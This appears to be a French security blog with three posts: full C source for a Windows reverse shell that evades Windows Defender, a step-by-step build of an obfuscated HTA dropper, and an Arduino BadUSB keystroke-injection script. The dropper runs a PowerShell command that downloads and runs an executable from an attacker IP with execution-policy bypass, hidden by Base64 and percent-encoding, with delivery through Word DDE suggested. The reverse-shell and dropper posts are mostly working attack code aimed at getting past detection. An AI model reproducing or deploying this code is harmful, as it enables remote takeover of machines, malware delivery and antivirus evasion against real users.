Un reverse shell qui passe sous les radars de Windows Defender (Windows 10)

Un jour je me suis demandé s’il était facile ou pas de concevoir un petit reverse shell (la base des trojans) pour Windows qui ne serait pas détecté par Windows Defender et le pare-feu de Microsoft.

Contre toute attente 🙂 ce fut fort simple !

Un petit code en C qui ne fait que le minimum vital suffit à passer à travers Windows Defender, la preuve en vidéo puis en images ;

Vidéo de démonstration :

Je commence par lancer Kali, voir son ip et lancer un listener sur le port tcp 4444 :

La victime maintenant, une VM sous Windows 10 complètement à jour (30/08/2018)  avec Windows Defender activé ainsi que le pare-feu de Microsoft :

Sous Windows 10, j’ouvre l’invite de commandes et comme pour simuler le click sur un trojan, je lance le reverse shell (ici Projet1.exe) en donnant comme IP celle du Kali :

Et voila, de retour sur Kali, j’ai bien un shell à distance sur la victime, Windows Defender n’a rien vu d’anormal :

Côté Windows 10 le programme Projet1.exe est terminé mais son process enfant est bien présent en mémoire, visible avec tcpview (ligne en bleue) :

Voici le code source en C de ce petit reverse shell. franchement il n’y a rien de sorcier, inquiétant non ?

#include <winsock2.h>
#include <stdio.h>

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
  

int main(int argc, char *argv[]) 
{
	WSAStartup(MAKEWORD(2,2), &wsaData);
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    
    	if (argv[1] == NULL){
		exit(1);
	}

    	struct hostent *host;
	host = gethostbyname(argv[1]);
	strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
	hax.sin_family = AF_INET;
	hax.sin_port = htons(atoi(argv[2]));
	hax.sin_addr.s_addr =inet_addr(aip_addr);
    
	WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
	if (WSAGetLastError() == 0) {

		memset(&ini_processo, 0, sizeof(ini_processo));

		ini_processo.cb=sizeof(ini_processo);
		ini_processo.dwFlags=STARTF_USESTDHANDLES;
		ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

		char *myArray[4] = { "cm", "d.e", "x", "e" };
		char command[8] = "";
		snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

		CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
		exit(0);
	} else {
		exit(0);
	}    
}

Récupération et exécution d’un malware via un fichier HTA

L’objet de cet article est de montrer une technique couramment utilisée dans les malwares Microsoft Office (attaque DDE par exemple) pour télécharger et exécuter un malware via un fichier HTA.

Mais au fait qu’est-ce qu’un fichier HTA ?

Un fichier .HTA est un fichier « HTML Application », une application exécutée par le navigateur Web Internet Explorer. Le composant responsable de l’exécution des fichiers HTA est mshta.exe présent dans Windows depuis la nuit des temps.

Au départ on a donc un script Powershell dont le but est de télécharger le malware puis de l’exécuter, rien de très compliqué.

Ce qui est intéressant ce sont les techniques d’obfuscation utilisées pour passer au travers des radars.

Prenons l’exemple suivant où le serveur de l’attaquant a pour adresse IP 192.168.1.32 et où le malware est un exécutable nommé ici msvss.exe. Notez au passage l’utilisation d’un mixte entre minuscule et majuscule, ce n’est pas pour le fun mais pour faire barrage à du pattern-matching :

powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.32/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’)

La première chose à faire est d’encoder la commande. Si on reprend cet exemple la commande à encoder est celle-ci :

(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.32/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’)

Powershell gèrant nativement le décodage Base64, il suffit de quelques lignes de code pour encoder cette commande en Base64 :

$commands = « (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.21/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’) »
$bytes = [System.Text.Encoding]::Unicode.GetBytes($commands) $encodedString = [Convert]::ToBase64String($bytes)
echo $encodedString

En sortie on obtient la longue chaine de caractères suivante :

KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA==

Il suffit de passer cette chaine de caractère au paramètre EncodedCommand de Powershell et le tour est joué :

powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -ENCodedcOMMANd KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA==

La commande powershell étant encodée, maintenant l’idée est d’embarquer ce powershell dans un document HTML.

Ce que l’on voit souvent, c’est l’utilisation d’un script VBScript car ce language permet la création d’objets, dont Powershell…

On obtient donc ceci :

<!DOCTYPE html>
<meta http-equiv= »x-ua-compatible » content= »ie=emulateie8″ >
<html>
<body>
<script language= »vbscript »>
Dim KHALON81
Dim kkk
SeT KHALON81 = createobject ( « wscrIPt.sHELl » )
kkk = « powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -ENCodedcOMMANd KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA== »
KHALON81.RUN(kkk)
SEt KHALON81 = NOTHInG
</script>
</body>
</html>

C’est pas mal mais on voit qu’il y a du Powershell.

Continuons l’obfuscation en utilisant la technique du « Percent Encoding » sur l’intégralité du code HTML. Attention, de base le « Percent Encoding » n’encode pas les caractères ASCII classiques, les  » Unreserved Characters » ce qui implique qu’une partie du code restera non obfusquée comme les mots-clefs « script », « powershell », ce qui est facheux.

Il nous faut donc un outil de « Percent Encoding » capable d’encoder tous les caractères, c’est le cas de cet outil en ligne :

http://2tap.com/javascript-percent-encoder/

On copie colle tout le code HTML précédent et obtient en sortie le code suivant :

%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%78%2d%75%61%2d%63%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%69%65%3d%65%6d%75%6c%61%74%65%69%65%38%22%20%3e%20%3c%68%74%6d%6c%3e%20%3c%62%6f%64%79%3e%20%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%76%62%73%63%72%69%70%74%22%3e%20%44%69%6d%20%4b%48%41%4c%4f%4e%38%31%20%44%69%6d%20%6b%6b%6b%20%53%65%54%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%63%72%65%61%74%65%6f%62%6a%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2e%73%48%45%4c%6c%22%20%29%20%6b%6b%6b%20%3d%20%22%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%45%78%65%43%55%74%49%6f%6e%50%6f%6c%49%63%59%20%62%79%70%61%73%73%20%2d%6e%6f%70%72%6f%66%69%6c%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%6d%69%6e%69%6d%69%7a%65%64%20%2d%45%4e%43%6f%64%65%64%63%4f%4d%4d%41%4e%64%20%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%63%41%5a%51%42%69%41%45%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6b%41%4c%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5a%51%41%6f%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4c%77%41%78%41%44%6b%41%4d%67%41%75%41%44%45%41%4e%67%41%34%41%43%34%41%4d%51%41%75%41%44%4d%41%4d%67%41%76%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4c%41%41%6e%41%45%51%41%4f%67%42%63%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4b%51%41%37%41%43%41%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6c%41%48%4d%41%63%77%41%6f%41%43%63%41%52%41%41%36%41%46%77%41%62%51%42%7a%41%48%59%41%63%77%42%7a%41%43%34%41%5a%51%42%34%41%47%55%41%4a%77%41%70%41%41%3d%3d%22%20%4b%48%41%4c%4f%4e%38%31%2e%52%55%4e%28%6b%6b%6b%29%20%20%53%45%74%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%4e%4f%54%48%49%6e%47%20%3c%2f%73%63%72%69%70%74%3e%20%3c%2f%62%6f%64%79%3e%20%3c%2f%68%74%6d%6c%3e

Là c’est pas mal, on arrive à l’étape finale, la création du fichier HTA.

Ce fichier HTA est simplement du code HTML contenant un script Javascript se chargeant de faire l’opération inverse, le décodage, le « unescape » :

<!DOCTYPE html>
<meta http-equiv= »x-ua-compatible » content= »ie=emulateie8″ >
<html>
<body>
<script language= »javascript »>
<!–
document.write(unescape(‘%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%78%2d%75%61%2d%63%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%69%65%3d%65%6d%75%6c%61%74%65%69%65%38%22%20%3e%20%3c%68%74%6d%6c%3e%20%3c%62%6f%64%79%3e%20%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%76%62%73%63%72%69%70%74%22%3e%20%44%69%6d%20%4b%48%41%4c%4f%4e%38%31%20%44%69%6d%20%6b%6b%6b%20%53%65%54%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%63%72%65%61%74%65%6f%62%6a%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2e%73%48%45%4c%6c%22%20%29%20%6b%6b%6b%20%3d%20%22%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%45%78%65%43%55%74%49%6f%6e%50%6f%6c%49%63%59%20%62%79%70%61%73%73%20%2d%6e%6f%70%72%6f%66%69%6c%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%6d%69%6e%69%6d%69%7a%65%64%20%2d%45%4e%43%6f%64%65%64%63%4f%4d%4d%41%4e%64%20%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%63%41%5a%51%42%69%41%45%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6b%41%4c%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5a%51%41%6f%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4c%77%41%78%41%44%6b%41%4d%67%41%75%41%44%45%41%4e%67%41%34%41%43%34%41%4d%51%41%75%41%44%4d%41%4d%67%41%76%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4c%41%41%6e%41%45%51%41%4f%67%42%63%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4b%51%41%37%41%43%41%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6c%41%48%4d%41%63%77%41%6f%41%43%63%41%52%41%41%36%41%46%77%41%62%51%42%7a%41%48%59%41%63%77%42%7a%41%43%34%41%5a%51%42%34%41%47%55%41%4a%77%41%70%41%41%3d%3d%22%20%4b%48%41%4c%4f%4e%38%31%2e%52%55%4e%28%6b%6b%6b%29%20%20%53%45%74%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%4e%4f%54%48%49%6e%47%20%3c%2f%73%63%72%69%70%74%3e%20%3c%2f%62%6f%64%79%3e%20%3c%2f%68%74%6d%6c%3e’));
//–>
</script>
</body>
</html>

Voila c’est terminé, il n’y a plus qu’à l’enregistrer dans fichier au format .hta, par exemple un index.hta.

Vous imaginez la suite, ce fichier est envoyé dans des pièces jointes ou appelé dans fichier Word via une commande DDE du style {DDEAUTO c:\\windows\\system32\\mshta.exe ...}

A noter que ces attaques via DDE et autres sur Microsoft Office sont détectées et bloquées sous Windows 10 grâce à la fonctionnalité ASR (Attack Surface Redution) qui empêche la création de processus enfant.

Bad USB version Arduino

Dans le petit monde des « Bad USB » j’ai voulu testé une version basée sur un chipset Arduino :

Le principe de base reste le même que pour la célèbre Rubber Ducky : la clef USB est en réalité un périphérique USB de type HID (Human Interface Device), un clavier, qui une fois reconnu par le système envoie la séquence de frappes clavier prévue par le script de l’attaquant.

Le script peut être tout et n’importe quoi, d’un simple Hello World , au vol de clé Wifi en passant par la récupération des mots de passe Windows via Mimikatz.

En pratique cela se passe comment ?

Il est nécessaire de disposer de l’IDE Arduino, au moment des tests je disposais de la version 1.8.5.

Ensuite il faut configurer l’IDE pour lui indiquer qu’il s’agit d’une carte de type Arduino Leonardo.

Pour le script, rien de très compliqué.

Ci-joint un petit exemple pour Windows dont le but est de télécharger une image sur Internet puis de l’afficher à l’écran :

#include "Keyboard.h"
#include "Mouse.h"

void typeKey(int key)
{
  Keyboard.press(key);
  delay(100);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();
  // Wait 500ms
  delay(5000);
  
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.releaseAll();

  delay(200);
  Keyboard.print("powershell");
    delay(1500);
  typeKey(KEY_RETURN);
  delay(1000);
  Keyboard.print("$client = new-object System.Net.WebClient");
  typeKey(KEY_RETURN);
  delay(150);
  Keyboard.print("$client.DownloadFile('https://cdn.pixabay.com/photo/2018/05/07/10/48/husky-3380548_960_720.jpg','C:/Temp/cat.jpg')");
  typeKey(KEY_RETURN);
  delay(150);
  //Keyboard.print("gci -Path 'C:/Temp/' -Filter 'cat.jpg' | ii ; exit");
 
  Keyboard.print("gci -Path 'C:/Temp/' -Filter 'cat.jpg'");
   typeKey(KEY_RETURN);
  delay(150);
  Keyboard.print("ii 'C:/Temp/cat.jpg','C:/Temp/cat.jpg' ; exit ");
  delay(150);
  typeKey(KEY_RETURN);
  
        //Keyboard.press(KEY_MENU);
  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}

Ensuite il n’y a plus qu’à envoyer le script, que dis-je téléverser le script, dans la clef USB :

 

Et le tour est joué ! Le script se déclenche automatiquement (un peu comme un autorun même si cela n’a strictement rien à voir) :

et voila le résultat 🙂

Petit souci que j’ai rencontré : de base le mapping des touches est prévue pour un clavier QWERTY…Donc autant dire que la première fois le script a fait n’importe quoi.

En cherchant un peu j’ai localisé le coupable : il s ‘agit du fichier Keyboard.cpp dans Arduino. Il suffit soit de l’adapter, soit de trouver une version pour AZERTY toute faite sur Internet.

La modification porte sur le tableau _asciimap, ci-joint une version pour claviers AZERTY :

const uint8_t _asciimap[128] =
{
	0x00,             // NUL
	0x00,             // SOH
	0x00,             // STX
	0x00,             // ETX
	0x00,             // EOT
	0x00,             // ENQ
	0x00,             // ACK  
	0x00,             // BEL
	0x2a,			// BS	Backspace
	0x2b,			// TAB	Tab
	0x28,			// LF	Enter
	0x00,             // VT 
	0x00,             // FF 
	0x00,             // CR 
	0x00,             // SO 
	0x00,             // SI 
	0x00,             // DEL
	0x00,             // DC1
	0x00,             // DC2
	0x00,             // DC3
	0x00,             // DC4
	0x00,             // NAK
	0x00,             // SYN
	0x00,             // ETB
	0x00,             // CAN
	0x00,             // EM 
	0x00,             // SUB
	0x00,             // ESC
	0x00,             // FS 
	0x00,             // GS 
	0x00,             // RS 
	0x00,             // US 

	0x2c,		   //  ' '
	0x38,	   // ! 
	0x20,    // "
	0x20,    // # :TODO
	0x30,    // $
	0x34|SHIFT,    // %
	0x1E,    // & 
	0x21,          // '
	0x22,    // (
	0x2d,    // )
        0x31,    // * : done
	0x2e|SHIFT,    // +
	0x10,          // , 
	0x23,          // -
	0x36|SHIFT,    // .
	0x37|SHIFT,    // /
	0x27|SHIFT,    // 0
	0x1e|SHIFT,    // 1
	0x1f|SHIFT,    // 2
	0x20|SHIFT,    // 3
	0x21|SHIFT,    // 4
	0x22|SHIFT,    // 5
	0x23|SHIFT,    // 6
	0x24|SHIFT,    // 7
	0x25|SHIFT,    // 8
	0x26|SHIFT,    // 9
	0x37,          // :
	0x36,          // ;
	0x64,      // < Done 0x2e, // = 0x64|SHIFT, // > Done
	0x10|SHIFT,      // ? 0x38 -> 0x10 OK
	0x1f,      // @ TODO
	0x14|SHIFT,      // A
	0x05|SHIFT,      // B
	0x06|SHIFT,      // C
	0x07|SHIFT,      // D
	0x08|SHIFT,      // E
	0x09|SHIFT,      // F
	0x0a|SHIFT,      // G
	0x0b|SHIFT,      // H
	0x0c|SHIFT,      // I
	0x0d|SHIFT,      // J
	0x0e|SHIFT,      // K
	0x0f|SHIFT,      // L
	0x33|SHIFT,      // M
	0x11|SHIFT,      // N
	0x12|SHIFT,      // O
	0x13|SHIFT,      // P
	0x04|SHIFT,      // Q
	0x15|SHIFT,      // R
	0x16|SHIFT,      // S
	0x17|SHIFT,      // T
	0x18|SHIFT,      // U
	0x19|SHIFT,      // V
	0x1d|SHIFT,      // W
	0x1b|SHIFT,      // X
	0x1c|SHIFT,      // Y
	0x1a|SHIFT,      // Z
	0x0c,          // [ TODO 2F
	0x31,          // bslash
	0x0d,          // ] TODO 30
	0x2F,    // ^
	0x25,    // _
	0x35,          // ` TODO
	0x14,          // a
	0x05,          // b
	0x06,          // c
	0x07,          // d
	0x08,          // e
	0x09,          // f
	0x0a,          // g
	0x0b,          // h
	0x0c,          // i
	0x0d,          // j
	0x0e,          // k
	0x0f,          // l
	0x33,          // m
	0x11,          // n
	0x12,          // o
	0x13,          // p
	0x04,          // q
	0x15,          // r
	0x16,          // s
	0x17,          // t
	0x18,          // u
	0x19,          // v
	0x1d,          // w
	0x1b,          // x
	0x1c,          // y
	0x1a,          // z
	0x2f|SHIFT,    // 
	0x31|SHIFT,    // | TODO
	0x30|SHIFT,    // } TODO
	0x35|SHIFT,    // ~ TODO
	0				// DEL
};

Ensuite libre cours à votre imagination !